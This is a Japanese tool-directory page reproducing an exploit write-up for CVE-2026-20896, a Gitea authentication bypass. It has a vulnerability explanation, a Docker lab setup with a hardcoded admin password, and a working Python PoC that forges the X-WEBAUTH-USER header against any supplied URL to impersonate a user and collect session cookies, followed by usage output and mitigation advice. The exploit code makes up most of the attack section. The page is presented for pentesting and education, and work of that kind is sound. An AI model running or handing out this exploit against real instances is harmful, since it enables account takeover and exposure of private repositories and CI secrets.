Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-20896-Gitea-Authentication-Bypass — CVE-2026-20896 の Gitea 認証バイパス脆弱性を悪用するための解説と PoC。Gitea インスタンス内の有効なユーザーのセッショントークンを窃取できます。 | Kitploit
ツール/GitHubGitHub/judgedbykira/cve-2026-20896-gitea-authentication-bypass
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト認証学習と教育ラボと実践
GitHub
judgedbykira/cve-2026-20896-gitea-authentication-bypass

CVE-2026-20896-Gitea-Authentication-Bypass

CVE-2026-20896 の Gitea 認証バイパス脆弱性を悪用するための解説と PoC。Gitea インスタンス内の有効なユーザーのセッショントークンを窃取できます。

リポジトリを見る
425日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-20896 - Gitea ≤1.26.2 認証バイパス

1. Giteaとは?

Giteaは、組織や開発者がソースコードリポジトリの管理、課題の追跡、変更のレビュー、ソフトウェアプロジェクトでのコラボレーションを可能にする、軽量かつオープンソースのGitホスティングプラットフォームです。GitHubやGitLabなどのプラットフォームと同様の機能を提供しますが、セルフホスト型で、効率的で、保守が容易なように設計されており、コードと開発インフラストラクチャをより細かく制御したい組織に適しています。

2. 脆弱性の解説

CVE-2026-20896 は、公式Gitea Dockerイメージにおける重大な認証バイパス脆弱性であり、CVSS 9.8(Critical)と評価されています。影響を受けるのは1.26.2以前のGitea Dockerイメージです。根本的な原因は安全でないデフォルト設定である REVERSE_PROXY_TRUSTED_PROXIES = * にあり、これによりGiteaは任意のIPアドレスからのリバースプロキシ認証ヘッダーを信頼してしまいます。リバースプロキシ認証が有効な場合、認証されていないリモートの攻撃者は偽造した X-WEBAUTH-USER ヘッダーを送信し、Giteaに攻撃者を指定したユーザーとして扱わせることができます。特に、管理者になりすました場合、パスワードや有効な認証トークンを必要とせずに完全な管理者アクセスが得られる可能性があります。

潜在的な影響は深刻です。Giteaへの管理者アクセスにより、プライベートソースコードリポジトリ、認証情報、CI/CDシークレットが露出し、リポジトリ、SSHキー、Webhook、その他のセキュリティ上重要な設定を変更できるようになるためです。この脆弱性は、影響を受けるDockerイメージをリバースプロキシ認証と組み合わせて使用しているデプロイに特に関連します。Giteaの通常のパスワード認証メカニズムの単純な欠陥ではありません。Giteaはバージョン1.26.3でこの問題に対処しており、管理者は安全でないワイルドカード設定に頼るのではなく、パッチ適用済みの最新リリースにアップグレードし、リバースプロキシの信頼設定を見直す必要があります。また、公開されているGiteaインスタンスに対する悪用の試みも報告されており、迅速な対応が特に重要です。

CWEs

  • CWE-284 – 不適切なアクセス制御。

TTPs

  • T1078 (有効なアカウント)
  • T1190 (公開アプリケーションの悪用)

3. ラボの構築

ここでは、脆弱性のあるバージョンのGiteaを使用してDockerコンテナを実行します。このケースでは1.26.2バージョンを、以下のDockerfileを使用して実行します:

root@kitploit:~
FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu

CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'

# Start Gitea using the original image entrypoint.
 /usr/bin/entrypoint "$@" &
pid=$!

trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email [email protected] \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]

次に、Dockerコンテナをビルドするには以下のコマンドを使用します:

root@kitploit:~
docker build -t gitea-cve-2026-20896-lab .

最後に、以下のコマンドを使用してDockerコンテナをデプロイします:

root@kitploit:~
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab

4. 概念実証(PoC)

Giteaインスタンス上の任意のユーザー名を知っていれば、X-WEBAUTH-USER: username ヘッダーを悪用してそのユーザーになりすますことができます。このラボではjbkiraというユーザーを作成したので、プロキシを使用してGiteaのメインページへの通常の未認証アクセスをキャプチャします。例えばBurpSuiteを使用します。以下のヘッダーを追加します:

画像

そのリクエストを X-WEBAUTH-USER ヘッダー付きで転送すると、ブラウザで再度Giteaページにアクセスしたときに、jbkiraユーザーとしてログインしていることが分かります。ただし、この方法が常に機能するとは限らないため、攻撃を実行して対象ユーザーのセッションCookieを窃取するPoCスクリプトを作成しました。これをブラウザにコピー&ペーストすれば、対象ユーザーとしてアクセスできます。

5. 自動化PoCスクリプト

認証バイパスの欠陥を悪用し、対象ユーザーのセッションCookieを窃取するPython製の自動化PoC:

root@kitploit:~
import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()

使用例:

root@kitploit:~
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira


        ███  █   █ █████       ███   ███   ███   ███        ███   ███   ███   ███   ███  
       █     █   █ █          █   █ █   █ █   █ █          █   █ █   █ █   █ █   █ █     
       █     █   █ ████  ████    █  █   █    █  ████  ████    █  █   █  ███   ████ ████  
       █      █ █  █            █   █   █   █   █   █        █   █   █ █   █     █ █   █ 
        ███    █   █████      █████  ███  █████  ███       █████  ███   ███   ███   ███                                                                                                                                                                     
    
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.

[+] Status code: 200

[+] Cookies retrieved for user jbkira:
    i_like_gitea = e12680e9c4e6e894
    lang = en-US

6. 対策

CVE-2026-20896 に対する主な対策は、Giteaを1.26.2以前から1.26.3以降にアップグレードすることです。1.26.3にはこの脆弱性に対するセキュリティ修正が含まれています。直ちにアップグレードできない場合は、管理者は REVERSE_PROXY_TRUSTED_PROXIES に * ではなく正規の認証リバースプロキシのIPアドレスまたはサブネットのみが含まれるように明示的に設定し、GiteaのHTTPポートに信頼できないクライアントが直接到達できないようにする必要があります。これは特に ENABLE_REVERSE_PROXY_AUTHENTICATION=true の場合に重要です。この脆弱性により、信頼できない送信元が X-WEBAUTH-USER を注入して既存ユーザーになりすますことが可能になるためです。

7. クレジット

脆弱性の発見と開示に貢献した Ali Mustafa @rz1027 にクレジットを捧げます。

ツールをダウンロード